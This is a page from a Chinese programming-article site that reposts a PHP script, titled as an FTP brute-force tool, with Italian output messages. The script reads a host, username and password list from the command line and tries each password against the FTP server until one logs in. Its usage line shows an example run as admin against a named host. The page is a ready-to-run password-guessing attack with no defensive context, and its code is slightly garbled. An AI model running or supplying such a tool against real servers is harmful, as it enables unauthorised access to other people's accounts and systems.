欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  后端开发

FTP暴力PHP版_PHP教程

程序员文章站 2022-05-22 17:22:38
...
$sito = $argv[1];
$username = $argv[2];
$lista = $argv[3];

if((isset($sito)) AND (isset($lista)) AND (isset($username))){

if (file_exists($lista)){

$lista = file($lista);
$connessione = ftp_connect($sito) or die("Impossibile stabilire una connessione a $sito");

foreach($lista as $passwd){

if(@ftp_login($connessione, $username, $passwd)){
die(" [Successo] - $passwd");
} else {
print "[Fallito] - $passwd ";
}

}

ftp_close($connessione);
} else
die("Lista per il brute force assente");

} else
die("Us php .php Esempi php brute.php ftp.google.it admin /root/list.txt");
?>

www.bkjia.comtruehttp://www.bkjia.com/PHPjc/508462.htmlTechArticle?php $sito = $argv[1]; $username = $argv[2]; $lista = $argv[3]; if((isset($sito)) AND (isset($lista)) AND (isset($username))){ if (file_exists($lista)){ $lista = file($lista); $conn...